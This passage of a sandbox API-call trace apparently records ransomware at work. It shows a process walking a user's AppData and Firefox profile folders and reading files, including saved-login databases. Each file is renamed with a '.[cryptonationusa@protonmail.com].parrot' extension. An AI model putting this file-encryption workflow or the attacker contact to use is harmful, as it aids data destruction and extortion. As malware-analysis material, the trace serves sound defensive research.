HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.151] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.152] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.153] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.154] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbc5, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xbc5, lpOverlapped=0x0) returned 1 [0091.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.154] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.154] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.157] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.157] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.159] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.159] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x50000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x50000, lpOverlapped=0x0) returned 1 [0091.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.174] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.197] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.251] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.252] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.252] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.253] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1d, lpOverlapped=0x0) returned 1 [0091.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.253] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.253] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\times.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\times.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.257] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0091.257] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.259] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0091.259] CloseHandle (hObject=0x27c) returned 1 [0091.259] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0091.261] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.261] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0091.262] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.262] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x18000, lpOverlapped=0x0) returned 1 [0091.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.266] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.268] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.273] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0091.274] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0091.275] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.275] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0091.276] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.276] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x6f, lpOverlapped=0x0) returned 1 [0091.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.276] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.277] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.282] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0091.283] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.283] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.283] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.284] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.284] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x161ca, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x161ca, lpOverlapped=0x0) returned 1 [0091.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.287] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.288] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NlyZ9srH.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nlyz9srh.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NlyZ9srH.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nlyz9srh.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.291] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.291] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.292] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.292] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3fc7, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x3fc7, lpOverlapped=0x0) returned 1 [0091.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.295] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.296] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pKYxN9dYP5_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pkyxn9dyp5_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pKYxN9dYP5_.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pkyxn9dyp5_.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.299] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.299] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.300] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.300] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8b7b, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x8b7b, lpOverlapped=0x0) returned 1 [0091.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.301] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.302] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qPGyenZcn Vugz.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qpgyenzcn vugz.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qPGyenZcn Vugz.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qpgyenzcn vugz.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.306] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.306] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.307] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.307] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf3aa, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xf3aa, lpOverlapped=0x0) returned 1 [0091.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.309] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.312] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sAnD1U.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sand1u.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sAnD1U.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sand1u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.317] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.317] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.318] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.318] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc6d2, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xc6d2, lpOverlapped=0x0) returned 1 [0091.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.320] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.321] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tMevfJU1i9KFCAlIMjQt.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tmevfju1i9kfcalimjqt.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\tMevfJU1i9KFCAlIMjQt.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\tmevfju1i9kfcalimjqt.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.325] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.325] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.326] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.326] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1472, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x1472, lpOverlapped=0x0) returned 1 [0091.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.326] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.327] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Vm-i2vHHNxLYN9.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vm-i2vhhnxlyn9.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Vm-i2vHHNxLYN9.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vm-i2vhhnxlyn9.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.330] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.330] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.330] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.331] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10340, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x10340, lpOverlapped=0x0) returned 1 [0091.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.334] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.335] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wCaDsplvbS-aSFpd.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wcadsplvbs-asfpd.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\wCaDsplvbS-aSFpd.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\wcadsplvbs-asfpd.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.338] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.338] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.340] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.340] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbb01, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xbb01, lpOverlapped=0x0) returned 1 [0091.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.343] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 